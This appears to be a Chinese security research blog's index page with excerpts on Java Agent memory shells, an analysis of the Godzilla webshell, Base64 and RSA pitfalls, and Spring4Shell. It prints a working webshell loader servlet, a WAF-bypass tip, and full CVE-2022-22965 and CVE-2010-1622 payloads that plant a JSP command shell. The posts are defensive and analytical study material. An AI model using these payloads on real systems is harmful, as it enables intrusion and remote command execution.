学习背景
- Agent本来就在学习的清单上
- 更深入理解下草师傅说的代理模式
- study the world
AOP
AOP为Aspect Oriented Programming的缩写,意为: 面向切面编程,在运行时,动态地将代码切入到类的指定方法、指定位置上的编程思想就是面向切面的编程。
以下引用来自su18和天下大木头师傅的博客:
JDK 1.5 开始,Java新增了Instrumentation(Java Agent API)和JVMTI(JVM Tool Interface)功能,允许JVM在加载某个class文件之前对其字节码进行修改,同时也支持对已加载的class(类字节码)进行重新加载(Retransform)。
开发者可以在一个普通Java程序(带有main函数的Java类)运行时,通过–javaagent
参数指定一个特定的jar文件(包含Instrumentation代理)来启动Instrumentation的代理程序。在类的字节码载入jvm前会调用ClassFileTransformer的transform方法,从而实现修改原类方法的功能,实现AOP。
通过java.lang.instrument实现的工具我们称之为Java Agent,Java Agent能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法,Agent内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去。
说白了Java Agent只是一个Java类而已,只不过普通的Java类是以main函数作为入口点的,Java Agent的入口点则是premain和agentmain
Java Agent 支持两种方式进行加载:
Read More
分析背景
起源于Y4er
师傅发的两篇文章:
对其中的原因比较好奇,所以尝试对哥斯拉做了一次原理分析,测试代码在MemoryShellDemo。文章可能有错误的地方,可以在issue留言。
运行原理
从哥斯拉的源代码里面扣出来godzilla\shells\payloads\java\assets\payload.classs
文件,使用https://github.com/leibnitz27/cfr反编译之后,在idea里面新建payload.java
文件,然后修改误报错,这里是反编译好之后的文件。payload.java
实现了大部分的shell操作,比如查看文件、执行命令、数据库连接等等
新建一个HelloServlet.java
,用于动态调试:
package basic;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
byte[] data = base64Decode(req.getParameter(pass));
data = x(data, false);
if (payload == null) {
payload = defClass(data);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
resp.getWriter().write(String.valueOf(arrOut));
resp.getWriter().write("\n");
Object f = ((Class) Class.forName("basic.payload")).newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(req);
resp.getWriter().write(md5.substring(0, 16));
f.toString();
resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
resp.getWriter().write(md5.substring(16));
}
} catch (Throwable e) {
}
}
}
在哥斯拉主界面,点击测试会在burp发送两次请求,然后哥斯拉会弹框出现Success,这时候再点击确定,哥斯拉会发起第三次请求,先分析这三次请求的数据包以及哥斯拉都做了什么事情。
第一次请求
Read More
Servlet
当处理请求的时候:请求 → Listener → Filter → Servlet
Listener
Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。
Filter
Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。
Servlet
Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。
Tomcat是http服务器+servlet容器,当Tomcat作为Servlet容器的时候,讲http请求文本解析之后封装成HttpServletRequest
类型的request对象,传递给Servlet,同时讲相应的信息封装为HttpServletResponse
类型的response对象,将response对象交给tomcat,tomcat格式化之后返回给浏览器
Read More
0x1. Base64的坑
在JDK8版本里面,Java自带的java.util.Base64
是根据RFC4648和RFC2045实现的,但是JDK7里面的sun.misc.BASE64Encoder
,是RFC1521实现的。
这会导致java.util.Base64
解码JDK7版本的Base64发生错误:Illegal base64 character
。
可以使用shiro的Base64解决,增加maven依赖:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.6.0</version>
</dependency>
PS: chybeta师傅在漏洞百出里面提出过,Shiro在Base64解码的时候会丢弃非Base64字符串,所以可以利用这一点绕过WAF防火墙,比如填充垃圾字符串。
0x2. RSA公私钥
Python加解密的时候,使用的是PKCS#1格式的公私钥:
# 公钥
-----BEGIN RSA PUBLIC KEY-----
-----END RSA PUBLIC KEY-----
# 私钥
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
但是在Java里面需要使用PKCS#8格式:
# 公钥
-----BEGIN PUBLIC KEY-----
-----END PUBLIC KEY-----
# 私钥
-----BEGIN PRIVATE KEY-----
-----END PRIVATE KEY-----
Read More
漏洞时间线
CVE-2010-1622 Spring第一次爆发漏洞,同时也影响了Struts(S2-020/S2-021/S2-022)
2017年9月10日 Oracle官方发文解释Java 9的module新特性
2022年3月29日 蚂蚁集团报告漏洞(CVE-2022-22965)
POC
CVE-2010-1622/Struts(S2-020/S2-021/S2-022)
class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
CVE-2022-22965在Java9新增了module之后:
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
然后访问webshell的时候,除了提供cmd的参数之外,还需要设置header头:
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
利用条件
- Java版本>=JDK9
- Spirng运行在Tomcat环境下,以War包部署(Jar包的时候不存在)
- 方法入参是非基础类,不能是String,int等
- 接口使用了POJO参数绑定
注意事项
- 如果要多次写文件,需要修改fileDateFormat属性,最终会拼接到文件后缀里面
- 利用日志写入shell的时候,生成的文件会不断写入,可以关闭日志记录:
class.module.classLoader.resources.context.parent.pipeline.first.enabled=false
漏洞分析
当Content-Type是application/x-www-form-urlencoded
的时候,会使用ServletModelAttributeMethodProcessor
解析请求,然后进入参数绑定:org.springframework.web.bind.ServletRequestDataBinder#bind(ServletRequest request)
:
此时的mpv保存了请求里面的key-value参数,接着进入org.springframework.validation.DataBinder#doBind(MutablePropertyValues mpvs)
对获取到的mpvs
进行初步校验:
Read More